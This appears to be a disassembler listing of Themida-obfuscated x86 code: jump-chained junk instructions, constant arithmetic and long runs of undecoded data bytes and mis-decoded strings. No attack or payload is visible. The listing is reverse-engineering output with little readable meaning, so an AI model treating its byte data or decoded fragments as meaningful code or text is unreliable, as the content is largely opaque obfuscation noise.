; ---------------------------------------------------------------------------


loc_54F5C7:				; CODE XREF: Themida_:0055B16Aj
		push	esp
		jmp	loc_557345
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C8700h, 241C335Ch, 33241C31h, 248B241Ch
		dd 242CD324h, 0E7D3E99Ch, 8F5CFFFFh, 0CAE92404h, 8FFFFFE7h
		dd 895C2404h, 86E92414h, 810000C6h, 42404h, 15E90000h
		dd 66000044h, 66691668h, 52240489h, 0E8885053h,	0E958C788h
		dd 730Ah, 24048759h, 24048F5Ch,	6824248Bh, 6C5Ah, 0BE243489h
		dd 2D8841BCh, 38D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F645:				; CODE XREF: Themida_:005532F2j
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	esi
		jmp	loc_559520
; ---------------------------------------------------------------------------


loc_54F651:				; CODE XREF: Themida_:00561E83j
		mov	ebp, [esp]
		jmp	loc_554D3E
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 58h
		dd 431DB850h, 50E97603h, 81000096h, 4C6h, 4EE8100h, 87000000h
		dd 895C2434h, 0BF572434h, 0B984283h, 0E3CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F685:				; CODE XREF: Themida_:0055B96Dj
		mov	esi, ecx
		pop	ecx
		xor	esi, 20AD1A0Fh
		sub	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_54FCF4
; ---------------------------------------------------------------------------


loc_54F6A3:				; CODE XREF: Themida_:00556AFEj
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56106E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 4244481h,	16553696h, 4245401h, 4246C81h, 16553696h
		dd 241C8B5Ah, 0FFEDC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F6E9:				; CODE XREF: Themida_:0055AD77j
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 76AE5104h
		add	edi, 1
		jmp	loc_562463
; ---------------------------------------------------------------------------
		dd 323A062Dh, 242C8B44h, 4C481h, 0BB530000h, 2,	0E7E9D801h
		dd 81FFFFF2h, 4C3h, 3010E900h, 248B0001h, 5E545624h, 4BA52h
		dd 0D6010000h, 0C1BD555Ah, 8159C46Dh, 796278C5h, 4EC815Ah
		dd 89000000h, 1CF7242Ch, 5D08E924h, 0E9570000h,	9794h
		dd 815AD509h, 7BE536F5h, 0E9EA0177h, 4A72h, 85E9555Bh
		db 2Ah,	1, 0
; ---------------------------------------------------------------------------


loc_54F76F:				; CODE XREF: Themida_:0055E6B3j
		sub	dword ptr [esp], 7F7779FFh
		jmp	loc_55465F
; ---------------------------------------------------------------------------


loc_54F77B:				; CODE XREF: Themida_:0055EE1Cj
		mov	edx, 6A977349h
		shr	edx, 6
		xor	edx, 1AA5DC9h
		jmp	loc_55C213
; ---------------------------------------------------------------------------


loc_54F78E:				; CODE XREF: Themida_:0055AD97j
		neg	edi
		xchg	edi, esi
		or	esi, 2F50112Fh
		inc	esi
		shl	esi, 4
		push	1238h
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_55968D
; ---------------------------------------------------------------------------
		dd 0B97CF181h, 0CF01006Ah, 83240C8Bh, 0E95704C4h, 0F6BCh
		dd 240C8B66h, 0E9E08950h, 4C84h, 83243C8Bh, 0EE8104C4h
		dd 70864442h, 8124048Bh, 4C4h, 56096800h, 2C890000h, 84FEE924h
		dd 575B0000h, 4B7C84BFh, 1769E92Bh, 0C4830000h,	0EC815104h
		dd 4, 0E9242489h, 0EF5Dh
; ---------------------------------------------------------------------------


loc_54F80C:				; CODE XREF: Themida_:0054E164j
		mov	ecx, 400103BFh
		jmp	loc_55AE0E
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 2474FF24h, 0C9E95904h, 8300002Ch, 0C38104C4h, 4D54072Ch
		dd 3DB668h, 242C8900h, 0AF0ED0BDh, 0FF00E931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F83E:				; CODE XREF: Themida_:0054FBE3j
		and	ebx, 205525C5h
		jmp	loc_558A6C
; ---------------------------------------------------------------------------
		db 0BEh, 0A1h, 61h
		dd 0F7015178h, 0E9EF015Eh, 0FFFFF15Dh, 0E958C329h, 1EEBh
		dd 54240C89h, 52240C8Bh, 0C281E289h, 4,	8704C283h, 575C2414h
		dd 4BFh, 5FF90100h, 6804C183h, 627Ch, 0FF240C89h, 0FF042474h
		dd 0C8B2434h, 0E0895024h, 405h,	40500h,	24E90000h, 890000B1h
		dd 0E589242Ch, 0AFC9E951h, 0EB830000h, 241C8704h, 2414895Ch
		dd 0AA40FABAh, 3E2C17Eh, 0F305E9h, 47E95C00h, 5D0000CEh
		dd 52C0B70Fh, 0E957E289h, 911Dh, 24048F5Bh, 0F9F7665Ch
		dd 444E6866h, 24148966h, 0E99C5066h, 0E308h, 6804C483h
		dd 5469h, 0E9242C89h, 0FFFFF667h, 0E9C39D61h, 0FFFFE4B9h
		dd 8F6658h, 114B7E9h, 42A0BB00h, 0DA293EB3h, 51241C8Bh
		dd 0C181E189h, 4, 8704C183h, 0FF5C240Ch, 53592434h, 0BF57E389h
		dd 4, 835FFB01h, 1C8704C3h, 0C9095C24h,	39C4840Fh, 0F2680000h
		dd 6800002Ch, 78FBh, 4EC81h, 0D2680000h, 89000041h, 52E92424h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F96B:				; CODE XREF: Themida_:005561F8j
		mov	eax, 719A6FF6h
		add	eax, 94B4EC7Dh
		mov	edi, eax
		pop	eax
		sub	edi, 0B66E4Dh
		or	edi, 28537F1Ah
		xor	edi, 4ED02C33h
		xor	edi, 630BD309h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	644Ah
		jmp	loc_5527EF
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 2404D366h, 0D1D3E99Ch, 54500000h,	40558h
		dd 22E90000h, 0BD00002Dh, 4, 875DEE01h,	248B2434h, 0EADDE924h
		dd 6866FFFFh, 89662435h, 50662414h, 0E3DFE99Ch,	248BFFFFh
		dd 0FEA8E924h, 74FF0000h, 99E90424h, 0FE00011Eh, 0B55152CCh
		dd 0C772E984h, 0C3010000h, 5E08950h, 4,	5F55E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FA11:				; CODE XREF: Themida_:005617E5j
		push	edx
		push	eax
		mov	eax, 31A77BA6h
		jmp	loc_55245A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0FEh
		dd 29653C09h, 0FEEE81CEh, 8B653C09h, 0EFE9240Ch, 1000032h
		dd 2434FFF5h, 0E789575Eh, 4C781h, 0C7810000h, 4, 0A81FE9h
		dd 8BDA8900h, 0C483241Ch, 5AD70104h, 0E745E9h, 0F7814700h
		dd 5EFAC97h, 100DC281h,	0A0E93A40h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FA6F:				; CODE XREF: Themida_:00560CD6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5561FD
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4DCE39FCh, 243E281h,	0EA810C66h, 4BA313E1h, 661FB951h
		dd 0C9816492h, 0FB171CFh, 94C5E9h, 4DEDBB00h, 9E93F52h
		dd 8F000069h, 248B2404h, 5C9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FAB6:				; CODE XREF: Themida_:005533D3j
		push	edi
		mov	edi, 4567301Ah
		sub	eax, edi
		pop	edi
		jmp	loc_551A84
; ---------------------------------------------------------------------------
		dd 24148966h, 0F02862B6h, 24148B66h, 2C481h, 29E90000h
		dd 8700010Ah, 248B2434h, 2424D324h, 0FFE2DCE9h,	6D300DFFh
		dd 0D0F71299h, 0A66D0540h, 0C1299F4Ch, 59CF2958h, 8BF8315Dh
		dd 0C481243Ch, 4, 8B66C331h, 24E92414h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FB13:				; CODE XREF: Themida_:00557529j
		sub	ecx, 1ADF3764h
		sub	ecx, edi
		add	ecx, 1ADF3764h
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55C555
; ---------------------------------------------------------------------------
		dd 5783C281h, 0E2C1685Fh, 55525302h, 0FF177DBDh, 6164BA28h
		dd 0EA2967D5h, 5B9515Dh, 515DE935h, 59241CF7h, 65C98149h
		dd 0E956107Ch, 2DEFh, 5502EBC1h, 88259CBDh, 0F9ED813Bh
		dd 562EB81Fh, 689ABD55h, 5CBE7A8Dh, 3139DE11h, 0CE815DEEh
		dd 75822F80h, 6580EE81h, 0EE81202Ch, 2280DF00h,	0E95EF501h
		dd 9C94h
; ---------------------------------------------------------------------------


loc_54FB98:				; CODE XREF: Themida_:00558E61j
		add	ecx, 0E43DB1E5h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, ecx
		jmp	loc_55DEDE
; ---------------------------------------------------------------------------
		db 1
aXsso		db 'ÁXSéo',7,0
		align 4
		dd 0E9243C31h, 417Fh
; ---------------------------------------------------------------------------


loc_54FBCC:				; CODE XREF: Themida_:00550231j
		pop	ecx
		sub	ebx, 79DC08DEh
		push	3D6Dh
		mov	[esp], esi
		mov	esi, 10CF7BE8h
		and	ebx, esi
		pop	esi
		jmp	loc_54F83E
; ---------------------------------------------------------------------------
		dd 4BC5814Dh, 29410A5Ah, 4CE95DEBh, 810000F9h, 0EF4281F2h
		dd 569E91Ch, 15B0000h, 23E951D0h
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FC0B:				; CODE XREF: Themida_:0055C693j
		add	eax, 294A4D8Ch
		sub	eax, esi
		sub	eax, 294A4D8Ch
		jmp	loc_54FC3A
; ---------------------------------------------------------------------------
		dd 4F073558h, 685605FDh, 3D65h,	0BD242C89h, 79C42388h
		dd 89EB8953h, 71E1E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FC3A:				; CODE XREF: Themida_:0054FC17j
		push	dword ptr [esp]
		jmp	loc_5552FD
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 11402E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FC4D:				; CODE XREF: Themida_:00557DB3j
		sub	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	eax
		jmp	loc_556407
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 63626800h, 1C890000h, 0BF575524h, 46050CB7h, 8302EFC1h
		dd 48904ECh, 0E2BB5324h, 89613C19h, 22FEE9D8h, 0D0F70001h
		dd 0AC3F8B35h, 58C1893Dh, 0E959C829h, 0C0Eh
; ---------------------------------------------------------------------------


loc_54FCA0:				; CODE XREF: Themida_:0055A47Fj
		inc	edi
		neg	edi
		add	edi, 2DFA8BDCh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55105E
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 77h
		dd 0E9049E13h, 0FFFFEFE0h
; ---------------------------------------------------------------------------


loc_54FCC4:				; CODE XREF: Themida_:00556A08j
		sub	edi, 84B6899h
		add	edi, ebx
		add	edi, 84B6899h
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	edi, eax
		jmp	loc_55C9CE
; ---------------------------------------------------------------------------
aPsdj		db 'PéDJ',0
		dw 0FF00h
		dd 0E9042474h, 85A6h
; ---------------------------------------------------------------------------


loc_54FCF4:				; CODE XREF: Themida_:0054F69Ej
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55AB59
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 2Eh
		dd 0F74B3727h, 0E0E951DBh, 0AD000003h, 10011E9h, 2434FF00h
		dd 8324048Bh, 88E904ECh, 5C00006Ah, 0E956D800h,	0FFFFF4C8h
		dd 8B2434FFh, 0C4812404h, 4, 0FFECBDE9h, 4E3C0FFh, 8046E380h
		dd 0D82897F3h, 83241C8Bh, 9F0404C4h, 0D2E9D828h
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FD6B:				; CODE XREF: Themida_:00551CCDj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, 6EA03E15h
		shr	eax, 6
		sub	eax, 5B1E2657h
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 8CD80392h
		jmp	loc_55F6BD
; ---------------------------------------------------------------------------
		dd 685Dh, 0F9E90000h, 0AC00011Fh, 8AECE9h, 0E6895600h
		dd 4C681h, 0EE810000h, 4, 5C243487h, 83241C89h,	148904ECh
		dd 35436824h, 83E96351h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FDCB:				; CODE XREF: Themida_:005527FFj
		mov	ebx, eax
		pop	eax
		push	72B0h
		mov	[esp], edx
		jmp	loc_558603
; ---------------------------------------------------------------------------


loc_54FDDB:				; CODE XREF: Themida_:005575D2j
		pop	esi
		add	esp, 4
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_55A48B
; ---------------------------------------------------------------------------
		db 68h
		dd 153h, 0B4D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FDF5:				; CODE XREF: Themida_:00561FF1j
		or	edx, 6A7D70F0h
		sub	edx, 0FFFFFFFFh
		sub	edx, 0FB7F7CF6h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	esp
		jmp	loc_5585A7
; ---------------------------------------------------------------------------
		dw 5559h
		dd 89505D5Eh, 58C589F0h, 0CB7CE95Eh, 0F4680000h, 89000057h
		dd 0D8892404h, 0E958C289h, 314h, 0B20C5CB9h, 59CA211Ah
		dd 0DAF74A4Ah, 11658E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FE4D:				; CODE XREF: Themida_:00551549j
		push	46BC261Fh
		pop	ecx
		sub	esi, ecx
		jmp	loc_551DF3
; ---------------------------------------------------------------------------
		dw 0EE89h
		dd 2DFDE9h, 0ABB15100h,	0C8282304h, 0C8B232Ch, 4C48124h
		dd 2C000000h, 612CBFh, 0E96104F8h, 10A3h, 83241C89h, 22E904ECh
		dd 810000F1h, 207440C3h, 2EB8135h, 0E916574Fh, 409Fh, 0FFDF24E9h
		dd 2474FFFFh, 2434FF04h, 582434FFh, 10749E9h
		db 0
; ---------------------------------------------------------------------------


loc_54FEB1:				; CODE XREF: Themida_:00551978j
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		jmp	loc_552997
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 106A7E9h,	241C8B00h, 57E28952h, 4BFh, 5FFA0100h
		dd 102C2E9h, 1B256800h,	348B05DDh, 4C48324h, 38EAE9h, 81EBD100h
		dd 0B31742E3h, 5DE3817Ah, 0E92D6D1Dh, 10DC3h, 0E924248Bh
		dd 1263Bh, 8124348Bh, 4C4h, 5AD50100h, 5F0C68h,	4EDBE900h
		dd 0DA290000h, 6EB1E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FF3E:				; CODE XREF: Themida_:005531D8j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_551046
; ---------------------------------------------------------------------------
		dd 8B66D328h, 15E92414h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54FF57:				; CODE XREF: Themida_:0055EBBFj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_555311
; ---------------------------------------------------------------------------
		dw 5158h
		dd 8B6518B9h, 1CF18108h, 1088B65h, 240C8BC8h, 4C481h, 70680000h
		dd 89000009h, 0E9542404h, 1F99h, 0EEC030B6h, 0E224E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FF9E:				; CODE XREF: Themida_:0054EBCBj
		mov	ebx, 4F9205BDh
		shr	ebx, 6
		add	ebx, 0FEC1B7EEh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55BFBF
; ---------------------------------------------------------------------------
aHub_0		db ']hîb',0
		dw 8900h
		dd 6368241Ch, 5B2FA369h, 9419E9h, 81D6F700h, 372284EEh
		dd 8BF301C9h, 0C4812434h, 4, 851EB81h, 22E972C1h, 5800006Ah
		dd 34FFF001h, 5D9BE924h, 0D7290000h, 6F9E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FFFE:				; CODE XREF: Themida_:00550A77j
		mov	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebp
		push	1191h
		mov	[esp], esi
		sub	dword ptr [esp], 4386018Fh
		pop	eax
		add	eax, 4386018Fh
		pop	esi
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_55EE9F
; ---------------------------------------------------------------------------
		dd 8F04C483h, 5B5C2404h, 0FFEACFE9h, 0D00159FFh, 0F0BE565Ah
		dd 816F4927h, 13E1CEEh,	8E6C124h, 0EEC1D6F7h, 76C68103h
		dd 0E931373Fh, 2ABh, 4EC81h, 3C890000h,	81E78924h, 4C7h
		dd 4C78300h, 5C243C87h,	26AEE953h, 34870000h, 0E9525C24h
		dd 0FFFFFF0Ch, 367EC381h, 0BD551318h, 5A485ED4h, 0E95DEB21h
		dd 0FFFFED7Fh
; ---------------------------------------------------------------------------


loc_55009C:				; CODE XREF: Themida_:0055D605j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5522A4
; ---------------------------------------------------------------------------


loc_5500B9:				; CODE XREF: Themida_:005565C1j
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55861C
; ---------------------------------------------------------------------------


loc_5500CA:				; CODE XREF: Themida_:00559BC6j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	esi
		push	ebx
		mov	ebx, 4
		mov	esi, ebx
		pop	ebx
		add	ebx, esi
		jmp	loc_55615B
; ---------------------------------------------------------------------------


loc_5500E3:				; CODE XREF: Themida_:0056070Cj
		mov	esi, ecx
		pop	ecx
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5532E1
; ---------------------------------------------------------------------------
		dd 0C8EB80h, 9AB151C3h,	70E9D1F6h, 0B9000016h, 19AE23BFh
		dd 840FE981h, 0CB2985C6h, 0E3814B59h, 5E220356h, 8904EC83h
		dd 0EAB82404h, 5700ED21h, 414A1FBFh, 5E7C10Fh, 0FFDDF6E9h
		dd 15E956FFh
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550137:				; CODE XREF: Themida_:0055A605j
		push	ebp
		push	3CB87A99h
		pop	ebp
		jmp	loc_551F0C
; ---------------------------------------------------------------------------
aUs		db 'UéÑ^',0
		db 0
; ---------------------------------------------------------------------------


loc_550149:				; CODE XREF: Themida_:0055EA35j
		inc	edx
		push	esi
		jmp	loc_55D8A5
; ---------------------------------------------------------------------------
		dd 0FFD7295Bh, 535A2434h, 0C381E389h, 4, 4C381h, 0D1E90000h
		dd 29000076h, 596AE9D6h, 34330000h, 24343124h, 8B243433h
		dd 89532424h, 22E268E3h, 2C890000h, 4BD24h, 37E90000h
		dd 1000073h, 0E5C181D1h, 5A4B7E73h, 0E9240C87h,	0C3CCh
		dd 233AF781h, 1E975CDh,	0BA000045h, 4, 5C1CBD55h, 0ED8104EEh
		dd 13AF7A5Ch, 0D105EDC1h, 0B1C581E5h, 0E9FD8375h, 0E016h
; ---------------------------------------------------------------------------


loc_5501D0:				; CODE XREF: Themida_:00562731j
		sub	ecx, 39315FA9h
		sub	ecx, 9B6960A3h
		and	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_561A9C
; ---------------------------------------------------------------------------
		dd 55241489h, 176DCBBDh, 5352455Ah, 51367E68h, 0C3815B20h
		dd 99FF3CBh, 9DD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_550209:				; CODE XREF: Themida_:00552E4Dj
		xchg	esi, [esp]
		pop	esp
		add	eax, 49CC3272h
		add	eax, ebx
		sub	eax, 49CC3272h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	esi
		jmp	loc_5597A6
; ---------------------------------------------------------------------------
a1Zs9		db '1ÓZé9)',0
		db 0
; ---------------------------------------------------------------------------


loc_55022F:				; CODE XREF: Themida_:00556532j
		mov	ebx, ecx
		jmp	loc_54FBCC
; ---------------------------------------------------------------------------
aISvl		db '‰$$é‚‹',0
		align 2
		dw 0C581h
		dd 137E53B1h, 0DA66F581h, 0EA296048h, 0E957515Dh, 10B36h
; ---------------------------------------------------------------------------


loc_550254:				; CODE XREF: Themida_:0055D976j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54F000
; ---------------------------------------------------------------------------


loc_550265:				; CODE XREF: Themida_:0054E5FEj
		add	dword ptr [esp+4], 7E346ED4h
		jmp	loc_559D55
; ---------------------------------------------------------------------------


loc_550272:				; CODE XREF: Themida_:0054F399j
		push	0D8Fh
		mov	[esp], esi
		jmp	loc_5597D5
; ---------------------------------------------------------------------------
		db 9
		dd 81435EF3h, 74B761EBh, 0E9DA0995h, 5C30h, 5C241C87h
		dd 24AAE9h, 0C8C6800h, 0C890000h, 50E18924h, 0F810B8B8h
		dd 56DE961h, 248B0001h,	48F5424h, 24048124h, 4,	5624048Fh
		dd 4BEh, 0E79DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5502CA:				; CODE XREF: Themida_:00558224j
		xor	[esp], edi
		jmp	loc_559BCB
; ---------------------------------------------------------------------------


loc_5502D2:				; CODE XREF: Themida_:005609AFj
		add	ebx, 747923D3h
		sub	ebx, 7D1F7F32h
		mov	esi, [esp]
		push	5903h
		jmp	loc_554916
; ---------------------------------------------------------------------------
aDTH		db '¿d`â~h',0
		align 4
		dd 0AC5BE900h, 814E0000h, 0D42305C6h, 5EF70171h, 52E9DFF7h
		dd 81FFFFF7h, 0ED5BD0F6h, 5DBA526Fh, 0E95C6B78h, 0F2B8h
; ---------------------------------------------------------------------------


loc_55031C:				; CODE XREF: Themida_:00552E06j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_553827
; ---------------------------------------------------------------------------


loc_550327:				; CODE XREF: Themida_:0054F090j
		pop	esp
		jmp	loc_55562F
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 3
		dd 0BB000056h, 0
		dd 0D989CB29h, 0C1D1F75Bh, 0E98105E1h, 0FFE7B262h, 0E959CA01h
		dd 0FFFFF666h, 22B168h,	24148900h, 0F03126BAh, 5AD0294Fh
		dd 0A605E9h, 0DA5BE900h, 0CF80FFFFh, 80CFFE04h,	0FA20CDF7h
		dd 0E951665Bh, 0FFFFEB74h
; ---------------------------------------------------------------------------


loc_55037C:				; CODE XREF: Themida_:0055EE5Cj
		xor	dword ptr [esp], 615E3795h
		pop	esi
		xor	esi, 615E3795h
		mov	eax, esi
		pop	esi
		jmp	loc_5581CE
; ---------------------------------------------------------------------------


loc_550392:				; CODE XREF: Themida_:0055973Dj
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55E665
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHs		db '$h˜',8,0
		align 2
		dw 1489h
		dd 56E28924h, 4BEh, 59B85000h, 0E934165Eh, 8578h, 0EA81EA01h
		dd 5F168A2h, 56242C8Bh,	0C681E689h, 4, 4B951h, 0CE010000h
		dd 24348759h, 7A23E95Ch, 34890000h, 0E9E68924h,	0BB47h
		dd 9D1C77FFh, 14D25966h, 0CAE99C24h, 2DFFFFD9h,	0EC0DF463h
		dd 0D9EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_550405:				; CODE XREF: Themida_:0055B1C2j
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55F2A7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_55D79C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0EA6CA168h, 0BB685B76h, 581F584Eh, 1C8BD831h, 4C48324h
		dd 5607E0C1h, 0BA4FD1BEh, 5EF02174h, 0D241825h,	0D043E96Eh
		dd 8B660000h, 7068240Ch, 89000060h, 0E0892404h,	507FBB53h
		dd 0AAE97FF4h, 81FFFFF8h, 4C2h,	4C28100h, 0E9000000h, 55C5h
; ---------------------------------------------------------------------------


loc_55047C:				; CODE XREF: Themida_:005608EBj
		xor	eax, ebp
		jmp	loc_55E6E1
; ---------------------------------------------------------------------------
		db 66h
		dd 348BF001h, 4C48324h,	66C50166h, 2434FF58h, 0A55CE9h
		db 0
; ---------------------------------------------------------------------------


loc_550499:				; CODE XREF: Themida_:00554E77j
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54E799
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFE462E9h, 81EA01FFh, 0DA5C9EC2h, 242C8B1Ah, 8304C483h
		dd 0A06804C2h, 8900000Fh, 74FF2414h, 34FF0424h,	0C4835A24h
		dd 24048F04h, 0E924248Bh, 107B1h
; ---------------------------------------------------------------------------


loc_5504D8:				; CODE XREF: Themida_:0056214Dj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_559BB3
; ---------------------------------------------------------------------------


loc_5504EA:				; CODE XREF: Themida_:0055EDE8j
		and	ebp, 0CDD222Dh
		xor	ebp, 3D163692h
		jmp	loc_55A5E4
; ---------------------------------------------------------------------------
		db 29h
		dd 24048BC2h, 8104C483h, 2219D8C2h, 0D8B7E91Fh,	0F66FFFFh
		dd 6866C8BEh, 896623A2h, 0A6E9240Ch, 8BFFFFD8h,	8957241Ch
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 8124248Bh, 4C3h
		dd 55BD5500h, 0C150A472h, 0E58106E5h, 2DBA33E1h, 113EED81h
		dd 0D6E92918h, 0C100007Ah, 0C98105E9h, 73AE3F44h, 0AA77E981h
		dd 0CA01460Fh, 5AD62959h, 1753C681h, 14E92697h,	5F000102h
		dd 672C68h, 240C8900h, 4B9h, 59CF0100h,	4C781h,	3C870000h
		dd 24248B24h, 1139BE9h,	25CE8100h, 8145CB4Bh, 0FFFB7BEEh
		dd 0E9F101FDh, 10230h
; ---------------------------------------------------------------------------


loc_5505AC:				; CODE XREF: Themida_:00559372j
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_55CB66
; ---------------------------------------------------------------------------


loc_5505BD:				; CODE XREF: Themida_:00553A6Bj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 6428538Dh
		add	ebp, 0D6117E4h
		mov	edi, ebp
		jmp	loc_561344
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F2h
		dd 966CEBBh, 81665AD5h,	66192CF5h, 4DFAEB81h, 4DC38166h
		dd 0EB29663Eh, 4DEB8166h, 0C381663Eh, 0C4E94DFAh, 81FFFFF2h
		dd 325800C3h, 81FB010Fh, 325800EBh, 75BE560Fh, 296CB428h
		dd 3C8B5EF3h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 4B8505Ch, 81000000h,	2C4653C3h, 89EB813Bh, 144CB21h
		dd 0C617E9C3h, 0B9510000h, 212D6B64h, 8159CE89h, 232EC8F6h
		dd 81D6F767h, 2557DECEh, 0E9D6F77Fh, 37F8h, 665BDD30h
		dd 819B353h, 1C8B66DDh,	2C48324h, 8072ED80h, 0CD8064F5h
		dd 0E1B050C7h, 420CC0FEh, 9350E9h, 81F50100h, 0F94807EDh
		dd 24348B14h, 6101E9h, 8B5B5000h, 0C4832404h, 8BDF0104h
		dd 5DE9241Ch
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5506B3:				; CODE XREF: Themida_:00551086j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55EDD3
; ---------------------------------------------------------------------------
		dw 0EA31h
		dd 4EC815Dh, 0E9000000h, 0FFFFEDC3h, 536E63BEh,	0C00BE91Eh
		dd 3C8B0000h, 4C48124h,	0E9000000h, 8450h, 33241431h, 0D4E92414h
		dd 81FFFFE5h, 0A68736EFh, 5FFE89C0h, 158AEE81h,	0F30128C0h
		dd 8124348Bh, 4C4h, 241C8700h, 0FF24248Bh, 0D6A7E930h
		dd 0EA81FFFFh, 1FDE1A7Dh, 0C281EA01h, 1FDE1A7Dh, 639C281h
